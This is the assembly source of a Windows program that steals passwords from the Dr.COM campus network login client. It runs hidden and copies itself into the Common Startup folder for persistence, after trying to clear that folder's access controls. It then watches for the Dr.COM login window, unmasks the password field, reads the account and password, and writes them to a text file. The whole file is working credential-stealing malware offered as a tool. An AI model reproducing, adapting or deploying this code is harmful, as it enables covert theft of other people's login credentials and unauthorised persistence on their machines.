getdrcompsw.asm

Drcom密码捕获者

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; by 麦田的怪, http://blog.mtian.cn
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; GetDrcomPsw.asm
; Drcom密码捕获者
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
                .386
		.model flat, stdcall
		option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include		windows.inc
include		user32.inc
includelib	user32.lib
include		kernel32.inc
includelib	kernel32.lib
include		Advapi32.inc
includelib	Advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 等值定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ID_TIMER	equ	1
DLG_MAIN	equ	1003h
IDC_SHOW	equ	1004h
WM_HOOK	equ	WM_USER + 100h
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
            .data

szClaStat       db      'Static',0
szClaEdit       db      'Edit',0
szTitAcc        db      '用户帐号',0
szTitPsw        db      '  密 码 ',0
szLog           db	'DrcomPsw.txt',0
szXie           db      '\',0
szExe           db      'GetDrcomPsw.exe',0
szSelfDir       db      156 dup(0)
lpsystem        db      156 dup (0)
szSystem        db      156 dup(0)

		.data?
szBuffer	db	256 dup (?)
Flag            db	?
hInstance       dd	?
hdrcom	        dd	?
hEditAcc        dd	?
hEditPsw        dd	?
hFile           dd	?
hWinMain	dd	?
szPsw           db	255 dup(?)
szAcc           db	255 dup(?)
szRegFold       db      255 dup(?)
dwOption        db      ?
F_FIND          equ     0001h

		.const
szRegKey          db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegStart      db      'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0
szRegCS         db      'Common Startup',0
szRegValue        db "GetDrcomPsw",0 
szDestClass	db	'#32770',0	;目标窗口的窗口类
szDrCaption     db    'Dr.COM 用户认证程序',0
szLogtxt	db	'本文件由麦田Drcom密码捕获者生成',0dh,0ah
                db	'帐号：%s ',0dh,0ah
		db	'密码：%s ',0dh,0ah,0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
		.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;自启动
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_EnumKey   proc

              local   @hKey
	      local   @dwsize
	      local   @hRegFold
	      invoke	RegOpenKeyEx,HKEY_LOCAL_MACHINE,addr szRegStart,NULL,\
			KEY_QUERY_VALUE,addr @hKey
	      .if	eax == ERROR_SUCCESS
			mov     @dwsize,sizeof szRegFold
			invoke	RegQueryValueEx,@hKey,addr szRegCS,NULL,NULL,\
				addr szRegFold,addr @dwsize			
			invoke	RegCloseKey,@hKey
	      .endif 
	      invoke    CreateFile,addr szRegFold,FILE_ALL_ACCESS,FILE_SHARE_READ,\
	                NULL,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,addr @hRegFold
              invoke    SetSecurityInfo,addr @hRegFold,SE_FILE_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,NULL,NULL
	      invoke    CloseHandle,addr @hRegFold
    

              ret
  
_EnumKey     endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;复制到系统目录
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_CopyToSystem   proc   

              invoke     GetModuleFileName,NULL,addr szSelfDir,200	      
              ;invoke     GetSystemDirectory,addr lpsystem,50
	      ;invoke     lstrcat,addr szSystem,addr lpsystem ;串联字符	
             ;invoke     lstrcat,addr szSystem,addr szXie
              ;invoke     lstrcat,addr szSystem,addr szExe;串联成完整路径
	      ;invoke  MessageBox,NULL,addr szSelfDir,addr szRegFold,MB_OK
	      invoke     CopyFile,addr szSelfDir,addr szRegFold,FALSE

              ret

_CopyToSystem   endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;保存密码到DrcomPsw.txt文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SavePass	proc

            local      @szBuffer[68]:byte,@dwBytesWrite

            invoke     RtlZeroMemory,addr @szBuffer,sizeof @szBuffer 
	    invoke     wsprintf,addr @szBuffer,addr szLogtxt,addr szAcc,addr szPsw
	    invoke     CreateFile,addr szLog,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
	    mov        hFile,eax
	    invoke     WriteFile,hFile,addr @szBuffer,68,addr @dwBytesWrite,NULL
	    invoke     CloseHandle,hFile	    

	    xor        eax, eax
	    ret
_SavePass	endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 得到登陆窗口后的函数。
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_FindDrocm	proc	
        
        .if hdrcom

           invoke    FindWindowEx,hdrcom,NULL,addr szClaStat,addr szTitAcc
	   .if eax
	       invoke   FindWindowEx,hdrcom,eax,addr szClaEdit,NULL
               mov	hEditAcc,eax
	       invoke   SendMessage, hEditAcc, WM_GETTEXT, 255, addr szAcc
	   .endif  

	   invoke    FindWindowEx,hdrcom,NULL,addr szClaStat,addr szTitPsw
	   .if eax
	       invoke   FindWindowEx,hdrcom,eax,addr szClaEdit,NULL
	       mov      hEditPsw,eax
	       invoke   PostMessage,hEditPsw,EM_SETPASSWORDCHAR,0,0
	       invoke   SendMessage, hEditPsw, WM_GETTEXT, 255, addr szPsw
	   .endif  
         
        .endif  
        xor        eax, eax
        ret

_FindDrocm	endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 窗口过程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcWinMain	proc	uses ebx edi esi hWnd,uMsg,wParam,lParam

		mov	eax,uMsg
;********************************************************************
		.if	eax ==	WM_CREATE
		        invoke  _EnumKey
			invoke  _CopyToSystem		          
		        invoke	SetTimer,hWnd,ID_TIMER,100,NULL        
		.elseif eax ==  WM_TIMER  
			mov	eax,wParam
			.if	eax ==	ID_TIMER
				invoke	FindWindow,addr szDestClass,addr szDrCaption
			        .if	eax
			            mov	hdrcom,eax
                                     invoke     _FindDrocm				     
				     or	        dwOption,F_FIND
				.elseif
				
				     .if	dwOption & F_FIND
					        invoke  _SavePass
					        invoke	KillTimer,hWnd,ID_TIMER						
			                        invoke	DestroyWindow,hWinMain
			                        invoke	PostQuitMessage,NULL				
				     .endif				 
				     
		               .endif
			.endif
;********************************************************************
		.elseif	eax ==	WM_CLOSE
		        invoke	KillTimer,hWnd,ID_TIMER
			invoke	DestroyWindow,hWinMain
			invoke	PostQuitMessage,NULL
;********************************************************************
		.else
			invoke	DefWindowProc,hWnd,uMsg,wParam,lParam
			ret
		.endif
;********************************************************************
		xor	eax,eax
		ret

_ProcWinMain	endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WinMain	proc
		local	@stWndClass:WNDCLASSEX
		local	@stMsg:MSG

		invoke	GetModuleHandle,NULL
		mov	hInstance,eax
		invoke	RtlZeroMemory,addr @stWndClass,sizeof @stWndClass
;********************************************************************
; 注册窗口类
;********************************************************************
		invoke	LoadCursor,0,IDC_ARROW
		mov	@stWndClass.hCursor,eax
		push	hInstance
		pop	@stWndClass.hInstance
		mov	@stWndClass.cbSize,sizeof WNDCLASSEX
		mov	@stWndClass.style,CS_HREDRAW or CS_VREDRAW
		mov	@stWndClass.lpfnWndProc,offset _ProcWinMain
		mov	@stWndClass.hbrBackground,COLOR_WINDOW + 1
		mov	@stWndClass.lpszClassName,offset szTitAcc
		invoke	RegisterClassEx,addr @stWndClass
;********************************************************************
; 建立并显示窗口
;********************************************************************
		invoke	CreateWindowEx,WS_EX_CLIENTEDGE,offset szTitAcc,offset szTitAcc,\
			WS_OVERLAPPEDWINDOW,\
			100,100,600,400,\
			NULL,NULL,hInstance,NULL
		mov	hWinMain,eax
		invoke	ShowWindow,hWinMain,SW_HIDE 
		invoke	UpdateWindow,hWinMain
;********************************************************************
; 消息循环
;********************************************************************
		.while	TRUE
			invoke	GetMessage,addr @stMsg,NULL,0,0
			.break	.if eax	== 0
			invoke	TranslateMessage,addr @stMsg
			invoke	DispatchMessage,addr @stMsg
		.endw
		ret

_WinMain	endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
		call	_WinMain
		invoke	ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
		end	start